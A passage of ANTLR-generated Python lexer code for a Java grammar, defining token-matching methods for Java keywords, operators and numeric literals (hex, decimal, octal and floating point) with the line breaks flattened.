$ANTLR start "T__126" def mT__126(self, ): try: _type = T__126 _channel = DEFAULT_CHANNEL # ./Java.g:24:8: ( '&' ) # ./Java.g:24:10: '&' pass self.match(38) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__126" # $ANTLR start "T__127" def mT__127(self, ): try: _type = T__127 _channel = DEFAULT_CHANNEL # ./Java.g:25:8: ( '{' ) # ./Java.g:25:10: '{' pass self.match(123) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__127" # $ANTLR start "T__128" def mT__128(self, ): try: _type = T__128 _channel = DEFAULT_CHANNEL # ./Java.g:26:8: ( '}' ) # ./Java.g:26:10: '}' pass self.match(125) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__128" # $ANTLR start "T__129" def mT__129(self, ): try: _type = T__129 _channel = DEFAULT_CHANNEL # ./Java.g:27:8: ( 'interface' ) # ./Java.g:27:10: 'interface' pass self.match("interface") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__129" # $ANTLR start "T__130" def mT__130(self, ): try: _type = T__130 _channel = DEFAULT_CHANNEL # ./Java.g:28:8: ( 'void' ) # ./Java.g:28:10: 'void' pass self.match("void") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__130" # $ANTLR start "T__131" def mT__131(self, ): try: _type = T__131 _channel = DEFAULT_CHANNEL # ./Java.g:29:8: ( '[' ) # ./Java.g:29:10: '[' pass self.match(91) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__131" # $ANTLR start "T__132" def mT__132(self, ): try: _type = T__132 _channel = DEFAULT_CHANNEL # ./Java.g:30:8: ( ']' ) # ./Java.g:30:10: ']' pass self.match(93) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__132" # $ANTLR start "T__133" def mT__133(self, ): try: _type = T__133 _channel = DEFAULT_CHANNEL # ./Java.g:31:8: ( 'throws' ) # ./Java.g:31:10: 'throws' pass self.match("throws") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__133" # $ANTLR start "T__134" def mT__134(self, ): try: _type = T__134 _channel = DEFAULT_CHANNEL # ./Java.g:32:8: ( '=' ) # ./Java.g:32:10: '=' pass self.match(61) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__134" # $ANTLR start "T__135" def mT__135(self, ): try: _type = T__135 _channel = DEFAULT_CHANNEL # ./Java.g:33:8: ( 'boolean' ) # ./Java.g:33:10: 'boolean' pass self.match("boolean") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__135" # $ANTLR start "T__136" def mT__136(self, ): try: _type = T__136 _channel = DEFAULT_CHANNEL # ./Java.g:34:8: ( 'char' ) # ./Java.g:34:10: 'char' pass self.match("char") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__136" # $ANTLR start "T__137" def mT__137(self, ): try: _type = T__137 _channel = DEFAULT_CHANNEL # ./Java.g:35:8: ( 'byte' ) # ./Java.g:35:10: 'byte' pass self.match("byte") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__137" # $ANTLR start "T__138" def mT__138(self, ): try: _type = T__138 _channel = DEFAULT_CHANNEL # ./Java.g:36:8: ( 'short' ) # ./Java.g:36:10: 'short' pass self.match("short") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__138" # $ANTLR start "T__139" def mT__139(self, ): try: _type = T__139 _channel = DEFAULT_CHANNEL # ./Java.g:37:8: ( 'int' ) # ./Java.g:37:10: 'int' pass self.match("int") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__139" # $ANTLR start "T__140" def mT__140(self, ): try: _type = T__140 _channel = DEFAULT_CHANNEL # ./Java.g:38:8: ( 'long' ) # ./Java.g:38:10: 'long' pass self.match("long") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__140" # $ANTLR start "T__141" def mT__141(self, ): try: _type = T__141 _channel = DEFAULT_CHANNEL # ./Java.g:39:8: ( 'float' ) # ./Java.g:39:10: 'float' pass self.match("float") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__141" # $ANTLR start "T__142" def mT__142(self, ): try: _type = T__142 _channel = DEFAULT_CHANNEL # ./Java.g:40:8: ( 'double' ) # ./Java.g:40:10: 'double' pass self.match("double") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__142" # $ANTLR start "T__143" def mT__143(self, ): try: _type = T__143 _channel = DEFAULT_CHANNEL # ./Java.g:41:8: ( '?' ) # ./Java.g:41:10: '?' pass self.match(63) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__143" # $ANTLR start "T__144" def mT__144(self, ): try: _type = T__144 _channel = DEFAULT_CHANNEL # ./Java.g:42:8: ( 'super' ) # ./Java.g:42:10: 'super' pass self.match("super") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__144" # $ANTLR start "T__145" def mT__145(self, ): try: _type = T__145 _channel = DEFAULT_CHANNEL # ./Java.g:43:8: ( '(' ) # ./Java.g:43:10: '(' pass self.match(40) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__145" # $ANTLR start "T__146" def mT__146(self, ): try: _type = T__146 _channel = DEFAULT_CHANNEL # ./Java.g:44:8: ( ')' ) # ./Java.g:44:10: ')' pass self.match(41) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__146" # $ANTLR start "T__147" def mT__147(self, ): try: _type = T__147 _channel = DEFAULT_CHANNEL # ./Java.g:45:8: ( '...' ) # ./Java.g:45:10: '...' pass self.match("...") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__147" # $ANTLR start "T__148" def mT__148(self, ): try: _type = T__148 _channel = DEFAULT_CHANNEL # ./Java.g:46:8: ( 'this' ) # ./Java.g:46:10: 'this' pass self.match("this") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__148" # $ANTLR start "T__149" def mT__149(self, ): try: _type = T__149 _channel = DEFAULT_CHANNEL # ./Java.g:47:8: ( 'true' ) # ./Java.g:47:10: 'true' pass self.match("true") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__149" # $ANTLR start "T__150" def mT__150(self, ): try: _type = T__150 _channel = DEFAULT_CHANNEL # ./Java.g:48:8: ( 'false' ) # ./Java.g:48:10: 'false' pass self.match("false") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__150" # $ANTLR start "T__151" def mT__151(self, ): try: _type = T__151 _channel = DEFAULT_CHANNEL # ./Java.g:49:8: ( 'null' ) # ./Java.g:49:10: 'null' pass self.match("null") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__151" # $ANTLR start "T__152" def mT__152(self, ): try: _type = T__152 _channel = DEFAULT_CHANNEL # ./Java.g:50:8: ( '@' ) # ./Java.g:50:10: '@' pass self.match(64) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__152" # $ANTLR start "T__153" def mT__153(self, ): try: _type = T__153 _channel = DEFAULT_CHANNEL # ./Java.g:51:8: ( 'default' ) # ./Java.g:51:10: 'default' pass self.match("default") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__153" # $ANTLR start "T__154" def mT__154(self, ): try: _type = T__154 _channel = DEFAULT_CHANNEL # ./Java.g:52:8: ( ':' ) # ./Java.g:52:10: ':' pass self.match(58) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__154" # $ANTLR start "T__155" def mT__155(self, ): try: _type = T__155 _channel = DEFAULT_CHANNEL # ./Java.g:53:8: ( 'if' ) # ./Java.g:53:10: 'if' pass self.match("if") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__155" # $ANTLR start "T__156" def mT__156(self, ): try: _type = T__156 _channel = DEFAULT_CHANNEL # ./Java.g:54:8: ( 'else' ) # ./Java.g:54:10: 'else' pass self.match("else") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__156" # $ANTLR start "T__157" def mT__157(self, ): try: _type = T__157 _channel = DEFAULT_CHANNEL # ./Java.g:55:8: ( 'for' ) # ./Java.g:55:10: 'for' pass self.match("for") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__157" # $ANTLR start "T__158" def mT__158(self, ): try: _type = T__158 _channel = DEFAULT_CHANNEL # ./Java.g:56:8: ( 'while' ) # ./Java.g:56:10: 'while' pass self.match("while") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__158" # $ANTLR start "T__159" def mT__159(self, ): try: _type = T__159 _channel = DEFAULT_CHANNEL # ./Java.g:57:8: ( 'do' ) # ./Java.g:57:10: 'do' pass self.match("do") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__159" # $ANTLR start "T__160" def mT__160(self, ): try: _type = T__160 _channel = DEFAULT_CHANNEL # ./Java.g:58:8: ( 'try' ) # ./Java.g:58:10: 'try' pass self.match("try") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__160" # $ANTLR start "T__161" def mT__161(self, ): try: _type = T__161 _channel = DEFAULT_CHANNEL # ./Java.g:59:8: ( 'catch' ) # ./Java.g:59:10: 'catch' pass self.match("catch") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__161" # $ANTLR start "T__162" def mT__162(self, ): try: _type = T__162 _channel = DEFAULT_CHANNEL # ./Java.g:60:8: ( 'finally' ) # ./Java.g:60:10: 'finally' pass self.match("finally") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__162" # $ANTLR start "T__163" def mT__163(self, ): try: _type = T__163 _channel = DEFAULT_CHANNEL # ./Java.g:61:8: ( 'switch' ) # ./Java.g:61:10: 'switch' pass self.match("switch") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__163" # $ANTLR start "T__164" def mT__164(self, ): try: _type = T__164 _channel = DEFAULT_CHANNEL # ./Java.g:62:8: ( 'synchronized' ) # ./Java.g:62:10: 'synchronized' pass self.match("synchronized") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__164" # $ANTLR start "T__165" def mT__165(self, ): try: _type = T__165 _channel = DEFAULT_CHANNEL # ./Java.g:63:8: ( 'return' ) # ./Java.g:63:10: 'return' pass self.match("return") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__165" # $ANTLR start "T__166" def mT__166(self, ): try: _type = T__166 _channel = DEFAULT_CHANNEL # ./Java.g:64:8: ( 'throw' ) # ./Java.g:64:10: 'throw' pass self.match("throw") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__166" # $ANTLR start "T__167" def mT__167(self, ): try: _type = T__167 _channel = DEFAULT_CHANNEL # ./Java.g:65:8: ( 'break' ) # ./Java.g:65:10: 'break' pass self.match("break") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__167" # $ANTLR start "T__168" def mT__168(self, ): try: _type = T__168 _channel = DEFAULT_CHANNEL # ./Java.g:66:8: ( 'continue' ) # ./Java.g:66:10: 'continue' pass self.match("continue") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__168" # $ANTLR start "T__169" def mT__169(self, ): try: _type = T__169 _channel = DEFAULT_CHANNEL # ./Java.g:67:8: ( 'case' ) # ./Java.g:67:10: 'case' pass self.match("case") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__169" # $ANTLR start "T__170" def mT__170(self, ): try: _type = T__170 _channel = DEFAULT_CHANNEL # ./Java.g:68:8: ( '+=' ) # ./Java.g:68:10: '+=' pass self.match("+=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__170" # $ANTLR start "T__171" def mT__171(self, ): try: _type = T__171 _channel = DEFAULT_CHANNEL # ./Java.g:69:8: ( '-=' ) # ./Java.g:69:10: '-=' pass self.match("-=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__171" # $ANTLR start "T__172" def mT__172(self, ): try: _type = T__172 _channel = DEFAULT_CHANNEL # ./Java.g:70:8: ( '*=' ) # ./Java.g:70:10: '*=' pass self.match("*=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__172" # $ANTLR start "T__173" def mT__173(self, ): try: _type = T__173 _channel = DEFAULT_CHANNEL # ./Java.g:71:8: ( '/=' ) # ./Java.g:71:10: '/=' pass self.match("/=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__173" # $ANTLR start "T__174" def mT__174(self, ): try: _type = T__174 _channel = DEFAULT_CHANNEL # ./Java.g:72:8: ( '&=' ) # ./Java.g:72:10: '&=' pass self.match("&=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__174" # $ANTLR start "T__175" def mT__175(self, ): try: _type = T__175 _channel = DEFAULT_CHANNEL # ./Java.g:73:8: ( '|=' ) # ./Java.g:73:10: '|=' pass self.match("|=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__175" # $ANTLR start "T__176" def mT__176(self, ): try: _type = T__176 _channel = DEFAULT_CHANNEL # ./Java.g:74:8: ( '^=' ) # ./Java.g:74:10: '^=' pass self.match("^=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__176" # $ANTLR start "T__177" def mT__177(self, ): try: _type = T__177 _channel = DEFAULT_CHANNEL # ./Java.g:75:8: ( '%=' ) # ./Java.g:75:10: '%=' pass self.match("%=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__177" # $ANTLR start "T__178" def mT__178(self, ): try: _type = T__178 _channel = DEFAULT_CHANNEL # ./Java.g:76:8: ( '||' ) # ./Java.g:76:10: '||' pass self.match("||") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__178" # $ANTLR start "T__179" def mT__179(self, ): try: _type = T__179 _channel = DEFAULT_CHANNEL # ./Java.g:77:8: ( '&&' ) # ./Java.g:77:10: '&&' pass self.match("&&") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__179" # $ANTLR start "T__180" def mT__180(self, ): try: _type = T__180 _channel = DEFAULT_CHANNEL # ./Java.g:78:8: ( '|' ) # ./Java.g:78:10: '|' pass self.match(124) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__180" # $ANTLR start "T__181" def mT__181(self, ): try: _type = T__181 _channel = DEFAULT_CHANNEL # ./Java.g:79:8: ( '^' ) # ./Java.g:79:10: '^' pass self.match(94) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__181" # $ANTLR start "T__182" def mT__182(self, ): try: _type = T__182 _channel = DEFAULT_CHANNEL # ./Java.g:80:8: ( '==' ) # ./Java.g:80:10: '==' pass self.match("==") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__182" # $ANTLR start "T__183" def mT__183(self, ): try: _type = T__183 _channel = DEFAULT_CHANNEL # ./Java.g:81:8: ( '!=' ) # ./Java.g:81:10: '!=' pass self.match("!=") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__183" # $ANTLR start "T__184" def mT__184(self, ): try: _type = T__184 _channel = DEFAULT_CHANNEL # ./Java.g:82:8: ( 'instanceof' ) # ./Java.g:82:10: 'instanceof' pass self.match("instanceof") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__184" # $ANTLR start "T__185" def mT__185(self, ): try: _type = T__185 _channel = DEFAULT_CHANNEL # ./Java.g:83:8: ( '+' ) # ./Java.g:83:10: '+' pass self.match(43) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__185" # $ANTLR start "T__186" def mT__186(self, ): try: _type = T__186 _channel = DEFAULT_CHANNEL # ./Java.g:84:8: ( '-' ) # ./Java.g:84:10: '-' pass self.match(45) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__186" # $ANTLR start "T__187" def mT__187(self, ): try: _type = T__187 _channel = DEFAULT_CHANNEL # ./Java.g:85:8: ( '/' ) # ./Java.g:85:10: '/' pass self.match(47) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__187" # $ANTLR start "T__188" def mT__188(self, ): try: _type = T__188 _channel = DEFAULT_CHANNEL # ./Java.g:86:8: ( '%' ) # ./Java.g:86:10: '%' pass self.match(37) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__188" # $ANTLR start "T__189" def mT__189(self, ): try: _type = T__189 _channel = DEFAULT_CHANNEL # ./Java.g:87:8: ( '++' ) # ./Java.g:87:10: '++' pass self.match("++") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__189" # $ANTLR start "T__190" def mT__190(self, ): try: _type = T__190 _channel = DEFAULT_CHANNEL # ./Java.g:88:8: ( '--' ) # ./Java.g:88:10: '--' pass self.match("--") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__190" # $ANTLR start "T__191" def mT__191(self, ): try: _type = T__191 _channel = DEFAULT_CHANNEL # ./Java.g:89:8: ( '~' ) # ./Java.g:89:10: '~' pass self.match(126) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__191" # $ANTLR start "T__192" def mT__192(self, ): try: _type = T__192 _channel = DEFAULT_CHANNEL # ./Java.g:90:8: ( '!' ) # ./Java.g:90:10: '!' pass self.match(33) self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__192" # $ANTLR start "T__193" def mT__193(self, ): try: _type = T__193 _channel = DEFAULT_CHANNEL # ./Java.g:91:8: ( 'new' ) # ./Java.g:91:10: 'new' pass self.match("new") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__193" # $ANTLR start "T__194" def mT__194(self, ): try: _type = T__194 _channel = DEFAULT_CHANNEL # ./Java.g:92:8: ( 'public' ) # ./Java.g:92:10: 'public' pass self.match("public") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__194" # $ANTLR start "T__195" def mT__195(self, ): try: _type = T__195 _channel = DEFAULT_CHANNEL # ./Java.g:93:8: ( 'protected' ) # ./Java.g:93:10: 'protected' pass self.match("protected") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__195" # $ANTLR start "T__196" def mT__196(self, ): try: _type = T__196 _channel = DEFAULT_CHANNEL # ./Java.g:94:8: ( 'private' ) # ./Java.g:94:10: 'private' pass self.match("private") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__196" # $ANTLR start "T__197" def mT__197(self, ): try: _type = T__197 _channel = DEFAULT_CHANNEL # ./Java.g:95:8: ( 'abstract' ) # ./Java.g:95:10: 'abstract' pass self.match("abstract") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__197" # $ANTLR start "T__198" def mT__198(self, ): try: _type = T__198 _channel = DEFAULT_CHANNEL # ./Java.g:96:8: ( 'final' ) # ./Java.g:96:10: 'final' pass self.match("final") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__198" # $ANTLR start "T__199" def mT__199(self, ): try: _type = T__199 _channel = DEFAULT_CHANNEL # ./Java.g:97:8: ( 'native' ) # ./Java.g:97:10: 'native' pass self.match("native") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__199" # $ANTLR start "T__200" def mT__200(self, ): try: _type = T__200 _channel = DEFAULT_CHANNEL # ./Java.g:98:8: ( 'transient' ) # ./Java.g:98:10: 'transient' pass self.match("transient") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__200" # $ANTLR start "T__201" def mT__201(self, ): try: _type = T__201 _channel = DEFAULT_CHANNEL # ./Java.g:99:8: ( 'volatile' ) # ./Java.g:99:10: 'volatile' pass self.match("volatile") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__201" # $ANTLR start "T__202" def mT__202(self, ): try: _type = T__202 _channel = DEFAULT_CHANNEL # ./Java.g:100:8: ( 'strictfp' ) # ./Java.g:100:10: 'strictfp' pass self.match("strictfp") self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "T__202" # $ANTLR start "HexLiteral" def mHexLiteral(self, ): try: _type = HexLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1470:12: ( '0' ( 'x' | 'X' ) ( HexDigit )+ ( IntegerTypeSuffix )? ) # ./Java.g:1470:14: '0' ( 'x' | 'X' ) ( HexDigit )+ ( IntegerTypeSuffix )? pass self.match(48) if self.input.LA(1) == 88 or self.input.LA(1) == 120: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse # ./Java.g:1470:28: ( HexDigit )+ cnt1 = 0 while True: #loop1 alt1 = 2 LA1_0 = self.input.LA(1) if ((48 <= LA1_0 <= 57) or (65 <= LA1_0 <= 70) or (97 <= LA1_0 <= 102)) : alt1 = 1 if alt1 == 1: # ./Java.g:1470:28: HexDigit pass self.mHexDigit() else: if cnt1 >= 1: break #loop1 eee = EarlyExitException(1, self.input) raise eee cnt1 += 1 # ./Java.g:1470:38: ( IntegerTypeSuffix )? alt2 = 2 LA2_0 = self.input.LA(1) if (LA2_0 == 76 or LA2_0 == 108) : alt2 = 1 if alt2 == 1: # ./Java.g:1470:38: IntegerTypeSuffix pass self.mIntegerTypeSuffix() self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "HexLiteral" # $ANTLR start "DecimalLiteral" def mDecimalLiteral(self, ): try: _type = DecimalLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1472:16: ( ( '0' | '1' .. '9' ( '0' .. '9' )* ) ( IntegerTypeSuffix )? ) # ./Java.g:1472:18: ( '0' | '1' .. '9' ( '0' .. '9' )* ) ( IntegerTypeSuffix )? pass # ./Java.g:1472:18: ( '0' | '1' .. '9' ( '0' .. '9' )* ) alt4 = 2 LA4_0 = self.input.LA(1) if (LA4_0 == 48) : alt4 = 1 elif ((49 <= LA4_0 <= 57)) : alt4 = 2 else: nvae = NoViableAltException("", 4, 0, self.input) raise nvae if alt4 == 1: # ./Java.g:1472:19: '0' pass self.match(48) elif alt4 == 2: # ./Java.g:1472:25: '1' .. '9' ( '0' .. '9' )* pass self.matchRange(49, 57) # ./Java.g:1472:34: ( '0' .. '9' )* while True: #loop3 alt3 = 2 LA3_0 = self.input.LA(1) if ((48 <= LA3_0 <= 57)) : alt3 = 1 if alt3 == 1: # ./Java.g:1472:34: '0' .. '9' pass self.matchRange(48, 57) else: break #loop3 # ./Java.g:1472:45: ( IntegerTypeSuffix )? alt5 = 2 LA5_0 = self.input.LA(1) if (LA5_0 == 76 or LA5_0 == 108) : alt5 = 1 if alt5 == 1: # ./Java.g:1472:45: IntegerTypeSuffix pass self.mIntegerTypeSuffix() self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "DecimalLiteral" # $ANTLR start "OctalLiteral" def mOctalLiteral(self, ): try: _type = OctalLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1474:14: ( '0' ( '0' .. '7' )+ ( IntegerTypeSuffix )? ) # ./Java.g:1474:16: '0' ( '0' .. '7' )+ ( IntegerTypeSuffix )? pass self.match(48) # ./Java.g:1474:20: ( '0' .. '7' )+ cnt6 = 0 while True: #loop6 alt6 = 2 LA6_0 = self.input.LA(1) if ((48 <= LA6_0 <= 55)) : alt6 = 1 if alt6 == 1: # ./Java.g:1474:21: '0' .. '7' pass self.matchRange(48, 55) else: if cnt6 >= 1: break #loop6 eee = EarlyExitException(6, self.input) raise eee cnt6 += 1 # ./Java.g:1474:32: ( IntegerTypeSuffix )? alt7 = 2 LA7_0 = self.input.LA(1) if (LA7_0 == 76 or LA7_0 == 108) : alt7 = 1 if alt7 == 1: # ./Java.g:1474:32: IntegerTypeSuffix pass self.mIntegerTypeSuffix() self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "OctalLiteral" # $ANTLR start "HexDigit" def mHexDigit(self, ): try: # ./Java.g:1477:10: ( ( '0' .. '9' | 'a' .. 'f' | 'A' .. 'F' ) ) # ./Java.g:1477:12: ( '0' .. '9' | 'a' .. 'f' | 'A' .. 'F' ) pass if (48 <= self.input.LA(1) <= 57) or (65 <= self.input.LA(1) <= 70) or (97 <= self.input.LA(1) <= 102): self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse finally: pass # $ANTLR end "HexDigit" # $ANTLR start "IntegerTypeSuffix" def mIntegerTypeSuffix(self, ): try: # ./Java.g:1480:19: ( ( 'l' | 'L' ) ) # ./Java.g:1480:21: ( 'l' | 'L' ) pass if self.input.LA(1) == 76 or self.input.LA(1) == 108: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse finally: pass # $ANTLR end "IntegerTypeSuffix" # $ANTLR start "FloatingPointLiteral" def mFloatingPointLiteral(self, ): try: _type = FloatingPointLiteral _channel = DEFAULT_CHANNEL # ./Java.g:1483:5: ( ( '0' .. '9' )+ '.' ( '0' .. '9' )* ( Exponent )? ( FloatTypeSuffix )? | '.' ( '0' .. '9' )+ ( Exponent )? ( FloatTypeSuffix )? | ( '0' .. '9' )+ Exponent ( FloatTypeSuffix )? | ( '0' .. '9' )+ FloatTypeSuffix ) alt18 = 4 alt18 = self.dfa18.predict(self.input) if alt18 == 1: # ./Java.g:1483:9: ( '0' .. '9' )+ '.' ( '0' .. '9' )* ( Exponent )? ( FloatTypeSuffix )? pass # ./Java.g:1483:9: ( '0' .. '9' )+ cnt8 = 0 while True: #loop8 alt8 = 2 LA8_0 = self.input.LA(1) if ((48 <= LA8_0 <= 57)) : alt8 = 1 if alt8 == 1: # ./Java.g:1483:10: '0' .. '9' pass self.matchRange(48, 57) else: if cnt8 >= 1: break #loop8 eee = EarlyExitException(8, self.input) raise eee cnt8 += 1 self.match(46) # ./Java.g:1483:25: ( '0' .. '9' )* while True: #loop9 alt9 = 2 LA9_0 = self.input.LA(1) if ((48 <= LA9_0 <= 57)) : alt9 = 1 if alt9 == 1: # ./Java.g:1483:26: '0' .. '9' pass self.matchRange(48, 57) else: break #loop9 # ./Java.g:1483:37: ( Exponent )? alt10 = 2 LA10_0 = self.input.LA(1) if (LA10_0 == 69 or LA10_0 == 101) : alt10 = 1 if alt10 == 1: # ./Java.g:1483:37: Exponent pass self.mExponent() # ./Java.g:1483:47: ( FloatTypeSuffix )? alt11 = 2 LA11_0 = self.input.LA(1) if (LA11_0 == 68 or LA11_0 == 70 or LA11_0 == 100 or LA11_0 == 102) : alt11 = 1 if alt11 == 1: # ./Java.g:1483:47: FloatTypeSuffix pass self.mFloatTypeSuffix() elif alt18 == 2: # ./Java.g:1484:9: '.' ( '0' .. '9' )+ ( Exponent )? ( FloatTypeSuffix )? pass self.match(46) # ./Java.g:1484:13: ( '0' .. '9' )+ cnt12 = 0 while True: #loop12 alt12 = 2 LA12_0 = self.input.LA(1) if ((48 <= LA12_0 <= 57)) : alt12 = 1 if alt12 == 1: # ./Java.g:1484:14: '0' .. '9' pass self.matchRange(48, 57) else: if cnt12 >= 1: break #loop12 eee = EarlyExitException(12, self.input) raise eee cnt12 += 1 # ./Java.g:1484:25: ( Exponent )? alt13 = 2 LA13_0 = self.input.LA(1) if (LA13_0 == 69 or LA13_0 == 101) : alt13 = 1 if alt13 == 1: # ./Java.g:1484:25: Exponent pass self.mExponent() # ./Java.g:1484:35: ( FloatTypeSuffix )? alt14 = 2 LA14_0 = self.input.LA(1) if (LA14_0 == 68 or LA14_0 == 70 or LA14_0 == 100 or LA14_0 == 102) : alt14 = 1 if alt14 == 1: # ./Java.g:1484:35: FloatTypeSuffix pass self.mFloatTypeSuffix() elif alt18 == 3: # ./Java.g:1485:9: ( '0' .. '9' )+ Exponent ( FloatTypeSuffix )? pass # ./Java.g:1485:9: ( '0' .. '9' )+ cnt15 = 0 while True: #loop15 alt15 = 2 LA15_0 = self.input.LA(1) if ((48 <= LA15_0 <= 57)) : alt15 = 1 if alt15 == 1: # ./Java.g:1485:10: '0' .. '9' pass self.matchRange(48, 57) else: if cnt15 >= 1: break #loop15 eee = EarlyExitException(15, self.input) raise eee cnt15 += 1 self.mExponent() # ./Java.g:1485:30: ( FloatTypeSuffix )? alt16 = 2 LA16_0 = self.input.LA(1) if (LA16_0 == 68 or LA16_0 == 70 or LA16_0 == 100 or LA16_0 == 102) : alt16 = 1 if alt16 == 1: # ./Java.g:1485:30: FloatTypeSuffix pass self.mFloatTypeSuffix() elif alt18 == 4: # ./Java.g:1486:9: ( '0' .. '9' )+ FloatTypeSuffix pass # ./Java.g:1486:9: ( '0' .. '9' )+ cnt17 = 0 while True: #loop17 alt17 = 2 LA17_0 = self.input.LA(1) if ((48 <= LA17_0 <= 57)) : alt17 = 1 if alt17 == 1: # ./Java.g:1486:10: '0' .. '9' pass self.matchRange(48, 57) else: if cnt17 >= 1: break #loop17 eee = EarlyExitException(17, self.input) raise eee cnt17 += 1 self.mFloatTypeSuffix() self._state.type = _type self._state.channel = _channel finally: pass # $ANTLR end "FloatingPointLiteral" # $ANTLR start "Exponent" def mExponent(self, ): try: # ./Java.g:1490:10: ( ( 'e' | 'E' ) ( '+' | '-' )? ( '0' .. '9' )+ ) # ./Java.g:1490:12: ( 'e' | 'E' ) ( '+' | '-' )? ( '0' .. '9' )+ pass if self.input.LA(1) == 69 or self.input.LA(1) == 101: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse # ./Java.g:1490:22: ( '+' | '-' )? alt19 = 2 LA19_0 = self.input.LA(1) if (LA19_0 == 43 or LA19_0 == 45) : alt19 = 1 if alt19 == 1: # ./Java.g: pass if self.input.LA(1) == 43 or self.input.LA(1) == 45: self.input.consume() else: mse = MismatchedSetException(None, self.input) self.recover(mse) raise mse # ./Java.g:1490:33: ( '0' .. '9' )+ cnt20 = 0 while True: #loop20 alt20 = 2 LA20_0 = self.input.LA(1) if ((48 <= LA20_0 <= 57)) : alt20 = 1 if alt20 == 1: # ./Java.g:1490:34: '0' .. '9' pass self.matchRange(48, 57) else: if cnt20 >= 1: break #loop20 eee = EarlyExitException(20, self.input) raise eee cnt20 += 1 finally: pass # 